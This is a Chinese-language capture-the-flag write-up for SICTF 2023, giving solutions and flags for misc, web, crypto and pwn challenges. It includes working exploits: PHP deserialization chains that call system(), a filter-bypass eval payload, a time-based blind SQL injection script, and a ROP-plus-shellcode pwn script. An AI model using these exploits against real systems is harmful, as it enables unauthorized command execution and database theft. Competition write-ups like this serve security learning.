SICTF 2023
前言
队友很给力,第九,web这次AK了,也学到了很多,整挺好
Misc
签到打卡完成
听说,这个签到题扫码关注公众号回复一个特定的“Key”就可以拿到Flag,出题人把Key也藏在题目中了。
二维码扫码关注公众号,发送SICTF得到flag
SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}
Hacker
树木是个大黑客,经过调查,在一次玩靶场的过程中,喜欢兔子的他把flag藏在了根目录的tmp目录下,我们截取了他回头查看flag时的流量,你能找到他藏起来的flag并进行解密吗?
流量分析
最后这个数据base64解密【这地方有个坑就是前面的数字要删掉要不然解码的时候就是乱码】
aa8aVTJGc2RHVmtYMTliRU4zRDh2RmVHMzlWeVlYUHdsZTJtTVFMaDVUMUhZaVNJMVhDeDdySmhzRG5wOXFMcFVRQg0KeUlUZDA1VXUwNVpBdjBvPWUyNjRjNTViZQovdG1wCmE3ZWIzZGY4NzRlCg==ab05b5
iU2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQB
yITd05Uu05ZAv0o=e264c55be
/tmp
a7eb3df874e
U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQB
yITd05Uu05ZAv0o=e264c55be//这个就是rabbit加密特征,找密码
得到密码是Gui_1s_shumu
解密得到flag
SICTF{50da673c-3b59-4a6f-81da-79cba7eb63b1}
color
这些毫无规律的颜色中隐藏着怎样的小世界呢?
题目附件
丢stegsolve里改变通道,反复在Random colour map 2与Random colour map 3之间调动,直至出现如下图所示能够清楚显示二维码的图像
保存之后继续拖进去改
扫码得到flag
SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}
geek_challenge
就是算术题,写个交互一直算就行了
这里科普一下之前没了解过eval函数功能原来如此强大,它可以执行一切返回表达式并计算出结果
官方解释为:将字符串str当成有效的表达式来求值并返回计算结果
eval(‘pow(2,2)’)
4
eval(‘2 + 2’)
4
eval(“n + 4”)
85
exp如下
from pwn import *
context.log_level = "debug"
io = remote('ctf.qsnctf.com',10995)
while True:
res = io.recvline()
if b' = ?' in res:
a = res[:-5]
b = str(eval(a))
io.sendline(b)
SICTF{dbe40b4a-1102-4226-a1d3-a64c9819904f}
hacker2
题目描述:树木不小心把重要的信息放在了自己的shell当中,或许对你的解密会有帮助
大黑客树木再次上传了shell并用工具进行连接,他在上传目录的一堆测试txt中找到了重要的字符串,我们观察并截取了流量
你能告诉我们他上传的shell的名称和key值以及最终找到的重要字符串吗?
flag格式:SICTF{shell名称_密钥_文本文件中存储的字符串}
打开pcapng文件,过滤http流
找到shell名称:she1l
追踪tcp流查看
得到密钥7d7c23e87b47368b
流量具有冰蝎流量特征,继续寻找AES
解密AES
这里查看了当前目录所有文件,再往下看
flag:SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}
Web
兔年大吉
题目源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?> 过新年啊~过个吉祥年~
pop反序列化,exp如下
<?php
class Happy{
private $cmd="system";
private $content="tac /f*";
}
class Nevv{
private $happiness;
public function __construct($happiness)
{
$this->happiness = $happiness;
}
}
class Rabbit{
private $aspiration;
public function __construct($aspiration)
{
$this->aspiration = $aspiration;
}
}
class Year{
public $key= "happy new year";
public $rabbit;
}
$year = new Year;
$year1 = new Year;
$happy = new Happy;
$rabbit = new Rabbit($year1);
$year->rabbit = $rabbit;
$nevv = new Nevv($happy);
$year1->rabbit = $nevv;
echo urlencode(serialize($year));
pop=O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7D%7D%7D%7D%7D
SICTF{a4efe7e9-ce2a-4d4e-8d16-1a3a88087468}
ezbypass
源码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}
自增构造exp
code=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /flag
SICTF{1c4fe9ba-0a25-42cf-9e92-670ea5574109}
ezupload
文件上传题目,源码如下
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<form enctype="multipart/form-data" method="post">
<p>骇人过滤,其实没用x<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</html>
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}else {
$msg = '你传啥玩意??';
}
}
if($is_upload){
echo '呀,(传)进去了欸~';
}
?>
其实就是可以直接上传php文件,只不过他会根据上传时间进行重命名,一个比较简单的方法就是本地搭建题目并上传文件然后根据两次上传文件确定文件名区间,然后进行爆破即可
所以只需要爆破这之间的文件名即可找到文件
访问得到flag
SICTF{a5e4cf4c-d079-4183-a73e-0ad9a3177ef8}
SSTI
考察ssti,简单fuzz发现几乎魔术方法都被过滤了
其次就是括号也被过滤了
用print可以直接输出执行结果
刚开始不知道其实只是过滤的小写,用的引号拼接,后面几个发现是可以用大小写来进行绕过的
SICTF{66f402ab-6069-4d8c-99c9-0ff147095f7c}
ezphp
登录框多半就是sql注入
直接输入admin的话是不行的,被过滤了
fuzz发现select,union这样的都被过滤了,双写可以绕过去,执行发现存在时间盲注
同时需要去使用引号进行闭合,防止sql语句报错
明确了之后写个脚本直接跑就行了
脚本如下
import requests
import time
import datetime
url = "http://ea9c3e41-d118-4851-9146-dfe0c28eb468.ctf.qsnctf.com:8080/login.php"
def get_dbname():
db_name = ''
for i in range(1,9):
for k in range(32,127):
database_payload = {"user":"'/**/or/**/if(ascii(substr(database(),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,k),"pass":"guli","submit":"login"}
time1 = datetime.datetime.now()
res = requests.post(url,database_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
#print(difference)
if difference > 1:
db_name += chr(k)
print(db_name)
#else:
#print("next")
def get_table():
table1 = ''
table2 = ''
table3 = ''
table4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
table_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/'ctf_db'/**/limit/**/%d,1),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,j,k),"pass":"1","submit":"login"}
time1 = datetime.datetime.now()
res = requests.post(url,table_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
#print(difference)
if difference > 1:
if i == 0:
table1 += chr(k)
print(table1)
if i == 1:
table2 += chr(k)
print(table2)
if i == 2:
table3 += chr(k)
print(table3)
if i == 3:
table4 += chr(k)
print(table4)
else:
continue
def get_column():
column1 = ''
column2 = ''
column3 = ''
column4 = ''
for i in range(30):
for j in range(30):
for k in range(32,127):
column_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'flag'/**/limit/**/%d,1),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,j,k),"pass":"1","submit":"login"}
time1 = datetime.datetime.now()
res = requests.post(url,column_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
column1 += chr(k)
print(column1)
if i == 1:
column2 += chr(k)
print(column2)
if i == 2:
column3 += chr(k)
print(column3)
if i == 3:
column4 += chr(k)
print(column4)
if i == 4:
column4 += chr(k)
print(column4)
else:
continue
print("结束")
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
flag_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/password/**/from/**/admin),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,k),"pass":"1","submit":"login"}
time1 = datetime.datetime.now()
res = requests.post(url,flag_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print(flag)
else:
continue
get_dbname()
get_table()
get_column()
get_flag()
这里应该是有个陷阱就是能跑出来个字段是FLAG_COLUMN,但是跑不出来啥,结合上面看到的那个执行的sql语句可以猜测就是passowrd字段,然后爆内容得到密码0909876qwe222
然后登录,发现是测试url,随便输一下
得到源码
一眼顶针,file_get_contents直接用伪协议读取,以及那个提示文件//x9sd.php
解码得到源码
<?php
class a {
protected $cmd;
function __destruct()
{ echo $this->cmd;
@eval($this->cmd);
}
}
if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']);
if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}
一眼顶针,执行命令就行,简单绕一下根据规则进行构造
exp如下
<?php
class a {
protected $cmd="system('cat /flag');";
function __destruct()
{ echo $this->cmd;
echo @eval($this->cmd);
}
}
$guli=new a();
echo base64_encode(serialize($guli));
//TzoxOiJhIjoxOntzOjY6IgAqAGNtZCI7czoyMDoic3lzdGVtKCdjYXQgL2ZsYWcnKTsiO30=system('cat /flag');
得到flag SICTF{be48b967-59fe-4e8a-8604-b05d3982198a}
CRYPTO
Ascii
题目如下
from flag import flag
import base64
flag=str(base64.b32encode(base64.b64encode(flag)))
for i in flag:
print(chr(ord(i)^3),end='')
#a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$
就是简单加密,先是异或然后base64加密再base32加密
解密脚本逆一下就行了
import base64
m = 'a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$'
flag = ''
for i in m:
flag += chr(ord(i) ^ 3)
flag = flag[2:-1]
print(base64.b64decode(base64.b32decode(flag)))
b’SICTF{Asc1i_1s_s0_ez!!!}’
PWN
C@na2y
EXP如下
from pwn import *
context(log_level='debug',os='linux',arch='i386')
p = remote('ctf.qsnctf.com', 10783)
#p = process('./ppp')
pop=0x08049b9b
ret=0x08061f4b
read_addr=0x806CD20
mprotect_addr=0x806DC10
bss_addr=0x80db000
win=0x80488DE
ex=0x0804EE60
write_addr=0x806CDF0
p.recvuntil("Do you really know Canary?\n")
payload=b'a'*(0x18+4)+p32(mprotect_addr)+p32(ret)+p32(bss_addr) + p32(0x1000)+p32(0x7)+p32(read_addr)+p32(ret)+p32(0)+p32(bss_addr)+p32(0x1000)+p32(bss_addr)
#gdb.attach(p)
#pause()
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux') #生成shellcode
p.sendline(shellcode)
p.interactive()
SICTF{eb14559a-b6b5-459c-9b92-ae7ab3493398}